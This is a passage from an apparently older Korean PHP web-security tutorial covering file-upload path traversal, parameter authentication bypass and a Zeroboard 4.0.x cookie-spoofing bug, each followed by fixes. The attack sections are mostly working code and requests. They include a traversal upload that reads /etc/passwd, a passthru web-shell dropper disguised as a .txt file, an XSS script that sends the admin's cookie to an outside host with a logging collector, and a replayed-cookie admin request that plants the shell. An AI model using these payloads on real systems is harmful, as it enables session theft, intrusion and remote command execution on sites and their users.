    [요청]
    http://server/data/hacking.php?beist=cat /etc/passwd

    [결과]
    Forbidden

    You don't have permission to access /data/hacking.php on this server.

    그러면 Cracker 는 hacking.php 를 올리고, 이를 올바르게 실행시키기 위해서는
    data Directory 는 피해서 올려야 한다. 먼저 사전 조사를 통해서 Web Directory
    중 Web Server UID 에게 퍼미션이 열려있는 Directory 를 찾아서 그 Directory에
    올리기로 하고, 퍼미션이 열려있는 Directory 의 이름은 conf 라고 가정한다.
    (퍼미션이 열려있는 Directory 에 대해서 조사하는 방법은 생략하겠다. 이 것의
    방법은 정적이지 않은, 동적이고 즉 Cracker 의 노하우 같은 것이다.)

    물론,

    c:\upload\a\../hacking.php

    이런 이름으로 서버에 올리면 /home/httpd/html/data Directory 가 아닌
    /home/httpd/html Directory 에 올라가게 될 것이지만, /home/httpd/html/conf
    Directory 를 따로 지정하는 이유는 다음과 같다. 첫째, 보통 /home/httpd/html
    Directory 는 WebServer UID 가 write 할 퍼미션이 열려있지 않고 둘째, 상위
    Directory 만이 아닌 Cracker 가 원하는 Directory 로 File 을 올리는 방법을
    설명하기 위해서이다.

    먼저 실제로 Computer 에 다음과 같은 File 과 경로를 만든다.

    c:\upload\conf\hacking.php

    그리고 Upload 할때의 이름을 다음과 같이 고친다.

    c:\upload\conf\../conf/hacking.php

    위 File Path 를 풀이해보자. c:\upload\conf 디렉토리에서 한단계 위로 올라간후
    conf/hacking.php 를 뜻한다. 결국 위에서 말했듯이 php 에서는 $in_file_name 을
    맨 마지막으로 쓰인 Escape 문자 뒤의 문자열들로 보니까 서버에 저장되는
    $in_file_name 은 ../conf/hacking.php 가 될 것이다.

    그러면 write_ok.php 에서 실제로 행해지는 copy Function 은 다음과 같이 행해질
    것이다.

    copy($in_file, "data/../conf/hacking.php")

    [요청]
    http://server/conf/hacking.php?beist=cat /etc/passwd

    [결과]
    root:*:0:0:root:/root:/usr/local/bin/bash
    daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
    operator:*:2:5:System &:/:/sbin/nologin
    bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
    tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
    kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
    ................................

    해결책을 알아 보자

    이 문제점에 대한 근본적인 해결점은 아직까지 없는 것 같다. 약간은 이상한
    버그이기도 한데, 막을 방법은 있다. $in_file_name 변수의 값 중에 이상한
    문자가 있는지 확인하는 것이다.

    if(eregi("\.\.", $in_file_name))
    {
    echo "file name 에 .. 가 들어갈 수는 없습니다.";
    exit;
    }

    if(eregi("/", $in_file_name))
    {
    echo "file name 에 / 가 들어갈 수는 없습니다.";
    exit;
    }

    if(eregi("\\$", $in-file_name))
    {
    echo "file name 에 이상한 문자가 들어있군요.";
    exit;
    }

    더 완벽한 방법을 원한다면, Web Directory 의 열려있는 퍼미션을 체크하고,
    불필요하다면 없앤다. 필요한 디렉토리는 httpd.conf 에 Web 에서 File 을
    읽을 수 없게끔 설정을 한다. (Download 같은 것은 php File 에서 읽은 후
    사용자에게 뿌려주는 방법등 여러가지가 있다. 이 방법에 대한 것은 12 번
    장을 참조하라)



    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    8) 변수 인증시의 주의할점

    이번에 다룰 주제는 Web 프로그래밍에서 범하기 쉬운 실수 중의 한가지이다.
    Computer Language 에는 비교문이 있다. 비교문을 이용하여 개발자는 여러가지
    일을 할 수 있다. password 가 정확한지, 암호가 맞는지, 기타 등등 쓰이는
    곳이 많다.

    예를 들어서 특정 CGI script 에서 현재 Page 를 읽는 사용자가 Admin 인지
    아닌지 확인해야 할 경우가 있을 것이다. 다음과 같은 절차가 있다고 하자.

    1. Admin Page View (admin.html)
    2. ID 와 Password 를 Client -> Sever 전송
    3. Server 로 전달된 ID, Password 는 CGI 에서 체크함 (auth.php)
    4. 만약 ID, Password 가 정확하다면 menu.php 로 admin=1 을 붙여
    연결시켜 줌

    /* menu.php 는 admin 만 View 할 수 있음 */

    menu.php

    <?

    if(!$admin)
    {
    echo "당신은 Admin 이 아닙니다.";
    exit;
    }

    echo "이 메뉴는 admin 만 볼수 있습니다.<br>";
    echo "i love TTL<br>";

    ?>

    /* menu.php 에서는 $admin 이라는 변수가 없다면 admin 이 아닌 걸로 인식
    하여 스크립트 실행을 멈추고 만약 $admin 이라는 변수가 있다면 admin 으로
    인식하여 admin 메뉴를 뿌려줍니다. */

    admin.html

    <html>
    <head>
    <title>Admin Page</title>
    </head>
    <body>
    <center>
    <form action=http://server/auth.php method=post>
    Admin ID : <input type=text name=adminid><br>
    Password : <input type=password name=adminpw><br>
    </center>
    </form>
    </body>
    </head>
    </html>

    /* admin.html 은 action 값을 auth.php 로 전달하고 method 로 post 를 사용
    하였다. 사용자가 입력한 id 와 password 를 각각 adminid 와 adminpw 에
    담아서 보낸다. */

    auth.php

    <?

    if($adminid=="admin")
    {
    if($adminpw=="123456")
    {
    echo "<meta http-equiv=\"refresh\" content=\"1;url=menu.php?admin=1\" >";
    }
    else
    {
    echo "Wrong Password!";
    }
    }
    else
    {
    echo "Wrong ID!";
    }

    ?>

    /* auth.php 에서는 사용자가 입력한 id 가 admin 인지 확인한다. 만약 admin 을
    id 로 입력했다면 입력한 password 가 123456 이 맞는지 확인한다. 맞다면
    meta tag 를 이용하여 menu.php 로 연결해줄 것이며 menu.php 를 요청할때
    admin 이라는 인수를 주어 value 를 1 로 설정하였다. */

    이와 같은 방법에는 취약성이 존재한다. 만약에 cracker 가 auth.php 를 거치지 않고
    menu.php 를 바로 요청하여 admin 변수를 넣을수도 있으니까 말이다. 테스트를 하여
    보자.

    [요청]
    http://server/menu.php

    [결과]
    당신은 Admin 이 아닙니다.

    [요청]
    http://server/menu.php?admin=1

    [결과]
    이 메뉴는 admin 만 볼수 있습니다.
    i love TTL

    이런 식으로 cracker 는 auth.php 를 거치지 않고도 menu.php 에 바로 admin 값을
    인수로 보내어 인증을 회피 할 수 있다.

    위와 같은 Script 는 거의 쓰이지 않을테지만 여기에서는 이해를 쉽게 하기 위해
    간단한 프로그래밍을 한 것이다. 실제로 수천줄의 CGI 에서도 이와 유사한 버그로
    위험을 보이는 것들도 많이 있다.

    위와 같은 Script 일때 이를 해결하는 방법은

    menu.php

    <?

    if($adminpw!="pwttl")
    {
    echo "당신은 Admin 이 아니군요.<br>";
    echo "암호가 틀렸습니다.";
    exit;
    }

    echo "이 메뉴는 admin 만 볼수 있습니다.<br>";
    echo "i love TTL<br>";

    ?>

    /* $adminpw 변수가 pwttl 이 아니라면 admin 이 아닌 것으로 간주하여 Script
    실행을 중지시킨다. 만약 pwttl 이라면 Admin 메뉴를 보여준다. */

    auth.php

    <?

    if($adminid=="admin")
    {
    if($adminpw=="123456")
    {
    echo "<meta http-equiv=\"refresh\" content=\"1;url=menu.php?admin=pwttl\" >";
    }
    else
    {
    echo "Wrong Password!";
    }
    }
    else
    {
    echo "Wrong ID!";
    }

    ?>

    /* 종전의 admin=1 대신 admin=pwttl 로 value 를 바꾸어 menu.php 로 link 시켰다 */

    이런 식으로 인증하는 것이 좋을 것이다. 하지만 이런 방법보다는 Cookie 나
    Session 등을 이용하여 인증하는 것을 권한다.

    /*
    http://beist.org
    beist@hanmail.net
    wowcode at wowhacker team
    */
    9) cookie 사용시 주의할점

    이번 장에서 다룰 주제는 Web 에서 많이 쓰이는 Cookie 에 관한 내용이다.
    Cookie 란 무엇인가? Web Language 에서 Cookie 는 여러가지에 유용하게 쓰인다.
    Cookie 는 Client Computer 에 저장되는 것인데, CGI Program 에서는 이 Cookie 를
    이용하여 좀 더 편리하고 간편한 CGI 를 짤 수도 있다. 예를 들어 Web Board 에서
    각 Page 마다 인증이 필요한 경우도 있다. 뭐 admin 만 Access 할 수 있다던지
    하는 Page 일 경우에 말이다. 이럴 경우 매 Page 의 Head 부분에 Client Computer
    에서 Cookie 를 받아와 Access 하려는 사용자가 권한이 되는지 안되는지 알 수
    있게끔 Cookie 가 사용될 수도 있다.

    여기에서는 한때 Issue 가 됐던 Cookie Sniffing 과 더불어 Cookie Spoofing,
    Cookie 사용시 잘못된 알고리즘 등을 알아볼 것이다. 실제로 존재하는 CGI Program
    인 Zeroboard 4.0.x 버전을 이용하겠다. 이 버그는 필자가 발견한 버그로, 요즘의
    버전에는 Patch 가 되었다.

    zeroboard 는 PHP 로 만들어져 있으며 DATABASE 는 MySQL 을 사용하고 있다.

    문제가 되는 부분은 zeroboard 에서 cookie 인증을 할때 잘못된 알고리즘을 사용
    하기 때문이다.

    문제가 되는 주요 소스는 zeroboard 에서 lib.php 이다.

    1 function member_info()
    2 {
    3 global $HTTP_COOKIE_VARS, $member_table, $now_table;
    4 $cookie_userid=$HTTP_COOKIE_VARS[zetyxboard_userid];
    5 $cookie_password=$HTTP_COOKIE_VARS[zetyxboard_password];
    6
    7 // 우선 쿠키가 존재할때;;
    8 if($cookie_userid&&$cookie_password)
    9 {
    10 // 접속 테이블에도 있는지를 검사;;
    11 $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
    12 user_id='$cookie_userid'"));
    13 // 접속테이블에도있으면 값을 갖고 옴;;
    14 if($check[0])
    15 {
    16 //다시 쿠키를 구움;;
    17 setcookie("zetyxboard_userid",$cookie_userid,0,"/");
    18 setcookie("zetyxboard_password",$cookie_password,0,"/");
    19 mysql_query("update $now_table set logtime='".time()."' where
    20 user_id='$cookie_userid'");
    21 $member=mysql_fetch_array(mysql_query("select * from $member_table where
    22 user_id='$cookie_userid' and password='$cookie_password'"));
    23 }
    24 else
    25 {
    26 setcookie("zetyxboard_userid","",0,"/");
    27 setcookie("zetyxboard_password","",0,"/");
    28 $member[level]=10;
    29 }
    30 }
    31 else $member[level]=10;
    32 return $member;
    33 }

    이 함수는 zeroboard lib.php 의 원본 소스중 이다. zeroboard 는 게시판에
    가입한 멤버를 LEVEL 별로 설정할수 있는 등 커뮤니티 기능도 있다. 회원이
    게시판을 이용할때 멤버에 대한 데이터를 가져오는 함수가 바로 이 member_info
    함수이다.

    첫번째 라인은 member_info 의 함수 정의이다. 3 번째 라인은 HTTP_COOKIE_VARS,
    member_table, now_table 을 전역 변수로 설정해놓았고 4 번째 라인에서 cookie_userid
    를 HTTP_COOKIE_VARS 의 zetyxboard_userid 로 설정하였다. 마찬가지로 5 번째
    라인에서는 cookie_password 를 HTTP_COOKIE_VARS 의 zetyxboard_password 로
    설정하였다.

    HTTP_COOKIE_VARS 는 client (즉 사용자) 에서 전달해주는 cookie 값을 담아놓는
    변수이다.

    zetyxboard_userid 나 zetyxboard_password 같은 cookie 설정은 사용자가 login
    페이지를 통해서 login 을 할때 설정이 된다.

    cookie 설정 역시 lib.php 파일에서 check_login 함수에서 이루어진다.

    1 /////////////////////////////////////////////////////////////////////////
    2 // 로그인 시키는 부분
    3 /////////////////////////////////////////////////////////////////////////
    4 function check_login($user_id,$password)
    5 {
    6 global $connect, $member_table, $now_table, $id;
    7 $check=mysql_fetch_array(mysql_query("select * from $member_table where
    8 user_id='$user_id' and password=password('$password')"));
    9 if($check[no])
    10 {
    11 $password=mysql_fetch_array(mysql_query("select password('$password')"));
    12 setcookie("zetyxboard_userid",$user_id,0,"/");
    13 setcookie("zetyxboard_password",$password[0],0,"/");
    14
    15 $temp=mysql_fetch_array(mysql_query("select count(*) from $now_table
    16 where user_id='$user_id'"));
    17 if($temp[0]) mysql_query("update $now_table set logtime='".time()."'
    18 where user_id='$user_id'");
    19 else mysql_query("insert into $now_table (user_id,group_no,logtime)
    20 values ('$user_id','$check[group_no]','".time()."')");
    21
    22 return 1;
    23 }
    24 else Error("로그인을 실패하였습니다.");
    25 }

    7 번째 라인은 사용자가 전달한 id 와, password 값으로 member_table 에 실제로
    존재하는 사용자인지 확인한다. 만약 올바른 사용자라면 check_login 함수는
    client 에게 (보통 웹브라우저를 말합니다.) setcookie 함수를 이용하여 cookie를
    설정하여 준다. zetyxboard_userid 와 zetyxboard_password 가 cookie 이다.

    그리고 15 번째 줄부터 게시판에 현재 접속된 사용자의 ID 를 담아놓는 now_table
    에 ID 를 update 를 하거나 추가를 한다. (만약 사용자가 정해진 시간동안 아무
    런 페이지도 읽지 않거나, logout 을 하면 now_table 에서 사용자의 ID 가 삭제
    됩니다. 그렇게 되면 login 이 안된 상태가 된다.)

    다시 취약점의 근원이 되는 member_info 함수로 돌아가보자. member_info 함수는
    이 사용자가 정당한 사용자인지 검사를 하는 기능도 있다. 첫번째로 사용자가
    zetyxboard_userid 와 zetyxboard_password 쿠키가 있는지 확인한다. 이 확인은
    8 번째 줄에서 한다. 그리고 또 한번의 확인으로 zeroboard 에서 사용하는 now_
    table 에도 zetyxboard_userid 값이 담겨있는지 확인한다. 만약에 접속테이블에
    도 사용자의 ID 가 있다면 이 사용자는 올바른 사용자이다.

    하지만 여기에서 문제가 발생한다. 첫번째 확인에서 zetyxboard_userid 와 zetyx
    board_password 쿠키는 사용자가 임의로 만들어서 보낼 수 있고, 두번째는 접속 테
    이블에도 있는지 검사를 할때 zetyxboard_userid 만 갖고 체크를 하기 때문에
    zetyxboard_password 가 정확하지 않더라도 상관이 없다. 그래서 해커가
    zetyxboard_userid 와 zetyxboard_password 쿠키를 임의로 만들고, 현재 접속이 되어
    있는 사용자의 ID 로 zetyxboard_userid 를 설정한다면 member_info 함수에서 해커는
    올바른 사용자가 될 수 있다.

    여기까지의 방법으로 우리는 접근할 수 없는 게시판과, 게시물을 읽을수가 있다.
    (접근할 수 없는 경우는 사용자의 레벨과 접근하려는 게시판의 허용 레벨이
    안 맞기 때문이다.) 왜냐하면 member_info 함수에서 21~22 번 줄을 보자.
    member_table 에서 zetyxboard_userid 와 zetyxboard_password 가 담긴 데이터를
    찾고 그 결과를 member 변수에 담는다. 만약 올바른 사용자라면 member 변수에는
    사용자의 LEVEL 이나 이름, ID, PASSWORD 가 담길것이다. 하지만 해커에게는
    LEVEL, ID, 이름, PASSWORD 같은 것이 아닌 빈 값이 담기게 된다. 이유는 member
    _table 에는 zetyxboard_userid 와 같은 데이터는 있어도 zetyxboard_password 도
    같은 데이터는 없기 때문이다.

    member 에 빈값이 담기기 때문에 해커는 PHP 에서 해당 LEVEL 이 되는지 안되는지
    검사를 하는 부분을 통과할 수 있다. 그 부분을 살펴보도록 하자.

    먼저 zboard.php 에서 특정 id 의 게시판에 접근할때 사용권한을 어떻게 체크
    하는지 보면

    zboard.php

    1 if($setup[grant_list]<$member[level]&&!$is_admin)
    2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
    3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
    4 keyword=$keyword&no=$no&file=zboard.php");

    이렇다. 조건식을 살펴보자. $setup[grant_list] 는 각 게시판에 설정
    된 접근 허용 LEVEL 과 비슷한 것이다. 만약 $member[level] 이 $setup[grant_
    list] 값보다 크다면 접근이 허용되지 않으므로 2~4 번째의 ERROR 메세지가 뜨게
    된다.
    (zeroboard 에서는 LEVEL 이 낮을수록 실제로는 높은 걸로 인식한다. 두번째
    조건식인 !$is_admin 는 만약 로그인한 사용자가 admin 이면 통과한다는 것을
    의미한다.)

    앞에서 말했듯이 해커는 member 에 빈값이 담기게 된다. 빈값은 0 과 같다.
    그러면 조건식은 이렇게 될 것이다.

    if($setup[grant_list]<0&&!$is_admin)

    어떤 레벨이라도 0 보다 낮을수는 없을 것이다. 이와 같은 방법으로 해커는 사용권한을
    체크하는 PHP 알고리즘을 통과하고 허용하지 않는 게시물이나 게시판에 접근을
    할 수 있게 된다.

    만약에 secret 라는 id 의 게시판이 있다고 하고, 실제로 어떻게 사용권한 체크를
    통과하고 게시판을 읽을 수 있는지 알아보자.

    1 telnet targetip 80
    2 get http://targetip/zboard/zboard.php?id=secret HTTP/1.0
    3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호

    결과 :

    secret 게시판

    15 번 승진님 안녕하세요................ 방문객 2005/06/26
    14 번 여기 좋군요.... 나그네 2004/06/26
    13 번 여기 뭐 이래요?? 지나가는이 2003/06/26
    12 번 저는 말이에요.. 해커지망생 2002/06/26
    ..........
    ..........

    1 번 라인은 targetip 의 웹서버인 80 번 포트로 접속을 하는 것이다. 2 번 라인
    은 zboard.php 의 인수로 id=secret 를 주어서 secret 라는 게시판을 읽어들이겠다
    고 알린것이고 3 번 라인은 Cookie 값을 첨부한 것이다. 여기서 zetyxboard_
    password 는 아무 값이나 넣어줘도 된다.

    이와 비슷한 방법으로 한 가지 더 경우를 보자. 게시물의 목록이 아닌 직접
    게시물을 읽는 방법이다. view.php 에서의 사용 권한 체크 루틴을 보자.

    view.php

    1 if($setup[grant_view]<$member[level]&&!$is_admin)
    2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
    3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
    4 keyword=$keyword&no=$no&file=zboard.php");

    view.php 의 인자로 id 와 no 가 들어가는데 id 는 해당 게시판의 id 를 뜻하고
    no 는 해당 게시판의 글 번호를 뜻한다.

    위에서도 역시 마찬가지로 member 는 빈값, 즉 0 이니 조건식을 이상 없이
    통과할 수 있을 것다.

    그럼 실제로 어떻게 사용권한 체크를 통과하고 게시물을 읽을 수 있는지 알아
    보자. 여기서 id 는 secret 이고 글번호는 444 라고 하자.

    1 telnet targetip 80
    2 get http://targetip/zboard/view.php?id=secret&no=444 HTTP/1.0
    3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호

    결과 :

    444 번 글

    이름 : 이승진

    제목 : 전 이승진이랑께롱~
    본문 : 케케케~.. 음.. 할말이 없군..

    2 번 라인은 view.php 스크립트에 secret 를 id 로 줬고 글 번호 444 를 요청하였
    다. 그리고 3 번 라인에서 Cookie 값을 첨부하였다.

    주의할 점은 zetyxboard_password 의 값은 임의로 넣어줘도 되지만 비어있어서는
    안된다.

    게시판을 읽거나 게시물을 읽는 방법 말고도 다른 여러 가지 방법이 있는데 여기서
    한 가지 방법을 더 알아보겠다. trace.php 라는 스크립트는 파일명 그대로
    서버에 설치된 zeroboard 와 관련된 것들을 추적해 주는 스크립트이다. 이 스크
    립트 역시 사용 권한을 체크하여 admin 만이 사용할 수 있게 해놓았지만 member에
    빈 값이 들어가는 것을 이용하여 통과할 수 있다.

    가령 beist 라는 사람이 글 쓴 것들에 대해서 보고 싶다는 주어진 검색식으로
    추적을 시작하면 beist 의 IP 와 어떤 게시판에다 글을 썼는지 그런 정보들이
    나오게 된다.

    trace.php 에서는 어떤 식으로 사용 권한 체크를 하는지 알아보자.

    trace.php 소스 설명 공격 설명

    1 $member=member_info();
    2 if($member[is_admin]>1||$member[level]>1)
    3 Error("최고 관리자만이 사용할수 있습니다");

    1 번 라인에서는 member_info 를 불러오고 그 리턴값을 $member 에 저장한다.
    2 번 라인의 조건식은 만약 admin 이 아니라면 3 번 라인에서 Error 를 출력하도록
    한다.

    trace.php 의 실제 이용방법을 알아보자.

    1 telnet targetip 80
    2 get http://targetip/zboard/admin/trace.php?keykind[0]=name&keyword=이승진
    HTTP/1.0
    3 Cookie: zetyxboard_userid=test; zetyxboard_password=아무거나;

    결과 :

    test1 게시판

    [kekek] test (2001-12-05 21:40:04 / beist-ip)
    [kekek] tet (2001-12-05 21:42:25 / beist-ip)
    [kekek] asdf (2001-12-05 21:44:40 / beist-ip)
    [kekek] asdf (2001-12-05 21:46:23 / beist-ip)
    [kekek] vvvvv (2001-12-05 21:47:00 / beist-ip)

    2 번라인에서는 keykind[0]=name 을 주어서 keyword 검색을 이름으로 하겠다고
    전하고 이름에 이승진을 넣은 것이다.

    keykind 의 종류는 다음과 같다.

    keykind[0]=name
    keykind[1]=email
    keykind[2]=ip
    keykind[3]=subject
    keykind[4]=memo

    위와 같은 keykind 로 검색할수 있고, keyword 에는 검색할 내용만 적으면 된다.
    예를 들어 keykind[1]=email 로 지정해두었다면 keyword 에 beist@hanmail.net
    이라고 적으면 된다.

    하지만 이 방법으로는 게시판을 보거나 게시물을 추적할 수 있지만 명령어를 실행
    하지는 못한다. 웹에서 해커의 궁극적인 목표는 명령어 실행이지 않은가?

    이제부터 명령어 실행의 버그들에 대해서 알아보겠다. zeroboard 에서는 admin
    메뉴에서 header 와 footer 에 (게시판의 머리말과 꼬리말 정도이다.) admin 이
    원하는 특정 파일을 지정을 할 수가 있다. 보통은 인사말이나 특정 페이지를
    같이 넣고 싶을때 header 와 footer 를 사용하지만 cracker 는 이 것을 이용하여서
    명령어 실행을 할 수 있다. (header 와 footer 의 파일은 zboard.php 에서
    include 합니다. 즉 zboard.php 파일이 웹에서 읽어질때 head 와 foot 에 include
    한 파일을 뿌려주는 것이다.)

    먼저 제로보드의 특정 자료실에 악의적인 파일을 하나 올린다.

    <?
    system("echo -n \" <? passthru(\$\" > imnotj.php");
    system("echo -n \"cmd); ?>\" >> imnotj.php");

    echo "<font size=5>keke";
    ?>

    <? passthru($cmd); ?>

    이 소스의 기능은 imnotj.php 라는 악의적인 스크립트를 하나 생성한다. imnotj.
    php 에 담기는 내용은 <? passthru($cmd); ?> 가 될 것이다. imnotj.php 의
    기능은 서버에서 해커가 원하는 특정 명령어를 실행할 수 있게끔 된 소스이다.

    자료를 올릴 때 제로보드의 필터링에 걸리면 안될것이다? 제로보드는 php, html, php3
    같은 확장자의 파일을 못 올리게 필터링을 한다. 그래서 위의 코드가 담긴 확장자를
    txt 로 저장하고 서버에 올리자. (txt 를 필터링하는 자료실은 아무데도 없을것이다)
    굳이 txt 확장자가 아닌 zip 이나 jpg 같은 확장자도 상관은 없다.

    만약 test.txt 라는 파일을 올렸다면 서버 상에서 /webdirectory/zboard/data/test.
    txt 라는 곳에 위치할 것이다. (webdirectory 는 가상으로 만들어 낸 것이며 실제
    로는 /home/beist/public_html 정도가 나올 것이다.)

    그리고 admin 메뉴에서 header (혹은 footer) 에 /webdirectory/zboard/data/test.
    txt 라고 지정을 하면 zboard.php 에서는 test.txt 를 include 할 것이다. 위와
    같은 코드를 include 하였으니 웹에서 zboard.php 파일을 열때 imnotj.php 라는
    파일이 생성될 것이다.

    그렇다면 admin 메뉴에는 어떻게 들어갈 것인가? admin 메뉴는 말 그대로 admin 만
    들어갈 수 있다. admin 암호가 없으면 못들어간다는 이야기이다. 그래서 우리는
    admin 암호를 알아내야 한다. 쿠키 스니핑을 이용해야겠다. 하지만 zero
    board 에서는 password 를 암호화해서 저장하기 때문에 쿠키 스니핑으로 암호를
    빼온다고 해도 login 페이지에서 암호를 입력할 수가 없다. (암호화된 문자열을
    crack 하여서 원래의 암호 문자열을 얻을 수도 있겠지만 그 방법은 너무 오래걸리고
    가능성도 희박한 방법이다. 암호가 쉽지 않은한)

    그래서 우리는 쿠키스니핑으로 암호를 빼오고, login 페이지에 암호를 넣는 것이
    아니라 실제 admin 페이지에 직접적으로 Cookie 값을 전달해야 한다.

    어떤 식으로 admin 의 password 를 빼올 수 있는 지 살펴보자.

    자바 스크립트를 써서 쿠키를 빼올 것이다. 자바 스크립트를 게시판이나 쪽지에
    쓰면 되는데 여기에선 쪽지를 이용하는 방법을 사용하겠다. zeroboard 의 쪽지
    기능을 이용하여 admin 에게 쪽지를 보낸다. html 사용에 check 를 하고..

    java-script 로 쿠키를 빼오는 스크립트

    -----------------------------------------------------------------------------

    1 <script language=java-script>
    2 window.open("http://beist.org/test.php?cook="+document_.cookie);
    3 </script>
    4 HELLO ADMIN!

    -----------------------------------------------------------------------------

    1 번째 라인은 java-script 를 사용할 것이라고 선언을 하는 것이고 2 번째 라인은
    http://beist.org/test.php 의 스크립트를 웹브라우저의 document_.cookie 를 인수로
    여는 것이다. 보통 CGI 는 다음과 같은 방식으로 인수를 전달한다.

    sample CGI script

    echo.php

    <? echo "hello $insu"; ?>

    위의 echo.php 는 $insu 라는 변수를 출력해주는 스크립트이다. 웹브라우저에서
    http://beist.org/echo.php?insu=beist 이런 식으로 페이지를 요청하면 echo.php
    에서는

    hello beist

    라는 문자열을 되돌려준다.

    쿠키를 빼오는 스크립트인 test.php 의 인수의 이름으로 cook 을 주었고 그 값에는
    현재 웹브라우저의 cookie 값이 담겨 있는 document_.cookie 를 지정하여 주었다.
    zeroboard 에서 admin 에게 담기는 cookie 는 다음과 같은 값이다.

    zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    (zetyxboard_password 의 값은 임의로 설정한 값이다.)

    이제 test.php 에서는 넘어온 인수를 처리해야 한다. 예를 들어 넘어온 쿠키값을
    서버에 저장하는 방법등을 사용해야 한다.

    test.php

    <?
    $fp=fopen("/tmp/zerohack", "a++");
    fputs(" 제로보드 쿠키값 $cook\n");
    ?>

    간단한 스크립트이다. test.php 는 /tmp/zerohack.txt 을 열어서 넘어온 인수값인
    $cook 을 집어넣는다.

    넘어온 쿠키값이 만약

    zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    라고 하면 /tmp/zerohack.txt 에는

    제로보드 쿠키값 zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    이 담기게 될것이다.

    이제 넘어온 쿠키값을 이용하여 admin 페이지에 직접 Cookie 를 보내 접속을 하는
    방법을 알아보자.

    여기서는 telnet 을 이용하겠다. telnet 으로 상대방의 웹서버에 접속을 한다.
    (보통 웹서버는 80 번 포트를 쓴다.)

    1 telnet targetip 80
    2 Trying targetip ...
    3 Connected to targetip.
    4 get http://targetip/zboard/admin_setup.php HTTP/1.0
    5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    어쩌고.. 저쩌고..
    .................
    .................

    (위에서 1, 4, 5 번 라인은 직접 입력해야 하는 부분이다.)

    설명을 하자면 1 번 라인은 targetip 의 80 번 포트로 연결을 시도하겠다는
    의미이고 4 번 라인은 target 의 /zboard/admin_setup.php 라는 파일을 열겠다는
    의미다. 그리고 5 번 라인은 zetyxboard_userid 와 zetyxboard_password 를
    쿠키로 보내겠다는 의미다.

    그러면 admin_setup.php 에서는 admin 인증을 할 것이다. 만약 password 가 맞다면
    해커는 무사히 통과를 하고 admin_setup.php 를 볼 수 있을 것이다.

    위에서 설명한 header 나 footer 에 test.txt 라는 파일을 지정하려면 어떻게
    해야하는지 알아보자.

    1 telnet targetip 80
    2 Trying targetip ...
    3 Connected to targetip.
    4 get http://targetip/zboard/admin_setup.php?no=3&exec=view_board&
    exec2=modify_ok&page=1&group_no=1&name=haha&skinname=zero_cyan&
    only_board=1&header_url=/var/www/html/zboard/data/test.txt&use_html=1&
    memo_num=20&cut_length=0&bg_color=white&table_width=95&page_num=10&
    header=<div%20align=center>&footer=</div> HTTP/1.0
    5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

    4 번 라인만 설명하겠다. admin_setup.php 의 인수로 여러개가 들어갔다.
    주요 인수를 말하자면 exec2 와 no, 그리고 header_url 이다. no 는 게시판의
    번호를 뜻한다. (게시판이 여러개 있을때 각각의 고유번호가 있다.)
    exec2 는 admin_setup.php 페이지를 어떤 mode 로 열 것인지 선택하는 것이다.
    여기서는 modify_ok mode 로 열었다. 가장 중요한 header_url 은 header
    file 로 어떤 것을 지정할 것인지 선택하는 부분이다. 여기서 지정한 header
    file 은 /var/www/html/zboard/data/test.txt 이다. 이제 include 하였으니
    zboard.php 를 열때 test.txt 스크립트가 작동이 되면서 imnotj.php 라는
    파일이 생성이 될 것이다.

    이제 해커는 imnotj.php 파일을 통해서 서버에 특정 명령을 실행시킬 수 있다.

    ex)

    http://targetip/zboard/data/imnotj.php?cmd=whoami
    결과 = nobody

    이상이 zeroboard 에서 쿠키 스니핑, 쿠키 스푸핑, 잘못된 알고리즘을 이용한
    공격 방법이다.

    해결책을 알아보자.

    쿠키 스니핑

    먼저 Cookie Sniffing 에 대한 대책을 알아보자. Cookie Sniffing 은 Cracker
    가 TAG 를 쓸수 있는 환경하에서 이루어진다. Cookie 는 Web Browser 에 담기게
    되는데 Cookie 를 감출 수도 없는 노릇이고 Cookie 사용을 불가피하게 해야하는
    경우의 대처법은 사용자가 TAG를 쓸 수 없도록 해야한다.

    거의 모든 TAG 의 시작은 < 로부터 시작한다. 그래서 <를 없애거나 &lt; 문자로
    치환시키는 방법이 좋다.

    eregi_replace("<", "&lt;", $comment);

    이런 식으로 $comment 의 내용중에 < 가 존재한다면 &lt; 로 바꾸게 끔 만들어
    주었다.

    쿠키 스푸핑

    Cookie Spoofing 에 대한 대책을 알아보자. Cracker 가 Admin 의 Cookie를 가져와서
    Cookie Spoofing을 이용해 Admin Menu 에 접근하게 된다. 첫 번째로 Cookie를
    도둑맞지 않기 위해 Cookie Sniffing을 막는 것이 중요하지만 Cookie를 도둑맞았을때의
    경우도 대비해야 할 것이다.

    필자는 이에 대한 대비로 Cookie 만을 쓰는 것이 아니라 Cookie + Session 의 조합을
    사용하길 바란다. 하지만 Cookie 만을 쓰려고 할때의 필자가 생각하는 대응책을 설명
    하겠다.

    위의 Zeroboard 의 경우에서 보면 현재 접속되어 있는지 확인하는 부분이 있다.
    now_table 에 해당하는 ID 가 있으면 통과하는 것이고 없으면 통과를 못하는 것인데
    table 의 구조를 약간 변형하여 IP 도 담는 것이다.

    예를 들어 $userip 라는 변수를 선언하고 이 변수는 사용자로부터 입력을 받지
    않고 PHP 환경변수인 $REMOTE_ADDR을 이용하는 것이다. 이렇게 하면 cracker 가
    admin_setup.php?userip=속일IP 이런식으로 접근을 해와도 서버에서는 $REMOTE_ADDR
    로 체크를 하기 때문에 피할 수 없게 된다.

    여기서는 간단하게 소스를 만들어보겠다.

    $userip=$REMOTE_ADDR;
    $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
    user_id='$cookie_userid' and userip='$userip'"));

    하지만 이 방법에도 약간의 취약성은 존재한다. Admin 이 NAT 같은 환경하에서
